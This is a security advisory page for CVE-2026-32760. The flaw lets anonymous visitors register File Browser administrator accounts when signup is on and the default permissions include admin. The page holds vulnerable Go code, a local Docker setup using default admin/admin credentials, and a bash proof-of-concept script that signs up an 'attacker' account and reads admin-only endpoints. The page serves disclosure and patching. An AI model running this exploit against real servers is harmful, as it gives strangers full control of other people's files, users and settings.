CVE-2026-32760: File Browser Self Registration Grants Any User Admin Access When Default Permissions Include Admin

Published Mar 16, 2026
·
Updated

Summary Any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.

Details

Affected file: http/auth.go

Vulnerable code: go // signupHandler (http/auth.go) user := &users.User{ Username: info.Username, } d.settings.Defaults.Apply(user) // ← copies Perm.Admin = true if set in defaults // NO guard: user.Perm.Admin is never cleared here

settings.UserDefaults.Apply (settings/defaults.go): go func (d UserDefaults) Apply(u users.User) { u.Perm = d.Perm // copies full Permissions struct, including Admin field ... }

Settings API permits Admin in defaults (http/settings.go): go var settingsPutHandler = withAdmin(func( http.ResponseWriter, r http.Request, d data) (int, error) { ... d.settings.Defaults = req.Defaults // Admin can set Defaults.Perm.Admin = true ... })

The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.

Demo Server Setup

bash Pull latest release docker run -d --name fb-test \ -p 8080:80 \ -v /tmp/fb-data:/srv \ filebrowser/filebrowser:v2.31.2

Wait for startup, then set defaults.perm.admin = true ADMINTOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}')

Enable signup and set admin as default permission curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMINTOKEN" \ -H 'Content-Type: application/json' \ -d '{ "signup": true, "defaults": { "perm": { "admin": true, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true } } }'

PoC Exploit

bash #!/bin/bash pocsignupadmin.sh Demonstrates: unauthenticated signup → admin account

TARGET="http://localhost:8080"

echo "[] Registering attacker account via public signup endpoint..." STATUS=$(curl -s -o /dev/null -w "%{httpcode}" \ -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[] Signup response: HTTP $STATUS"

echo "[] Logging in as newly created account..." ATTACKERTOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[] Fetching user list with attacker token (admin-only endpoint)..." curl -s "$TARGET/api/users" \ -H "X-Auth: $ATTACKERTOKEN" | python3 -m json.tool

echo "" echo "[] Verifying admin access by reading /api/settings..." curl -s "$TARGET/api/settings" \ -H "X-Auth: $ATTACKERTOKEN" | python3 -m json.tool

Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.

Impact

Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can: - List, read, modify, and delete every file on the server - Create, modify, and delete all other users - Change authentication method and server settings - Execute arbitrary commands if enableExec = true

Other sources

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings (including Perm.Admin) to the new user without any server-side guard that strips admin from self-registered accounts. The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after applying defaults. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. This issue has been resolved in version 2.62.0.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/filebrowser/filebrowser/v2<=2.61.2
2.62.0
Filebrowser Filebrowser<2.62.0

Event History

Mar 16, 2026
Advisory Published
via GitHub·08:44 PM
Data Sourced
via GitHub·08:44 PM
DescriptionWeaknessAffected Software
Mar 19, 2026
CVE Published
via MITRE·11:39 PM
Data Sourced
via MITRE·11:39 PM
DescriptionWeakness
Mar 20, 2026
Data Sourced
via NVD·12:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32760?

CVE-2026-32760 is classified as a critical vulnerability due to its potential to grant unauthorized admin access.

2

How do I fix CVE-2026-32760?

To fix CVE-2026-32760, disable self-registration or ensure that the default user permissions do not grant admin access.

3

Who is affected by CVE-2026-32760?

CVE-2026-32760 affects users of File Browser versions up to 2.61.2 where self-registration is enabled with admin permissions granted.

4

What happens if CVE-2026-32760 is exploited?

If exploited, CVE-2026-32760 allows any unauthenticated user to create an admin account, compromising the application's security.

5

Is there a patch available for CVE-2026-32760?

Yes, a patch is available, and users are advised to upgrade to File Browser version 2.62.0 or later to mitigate this vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203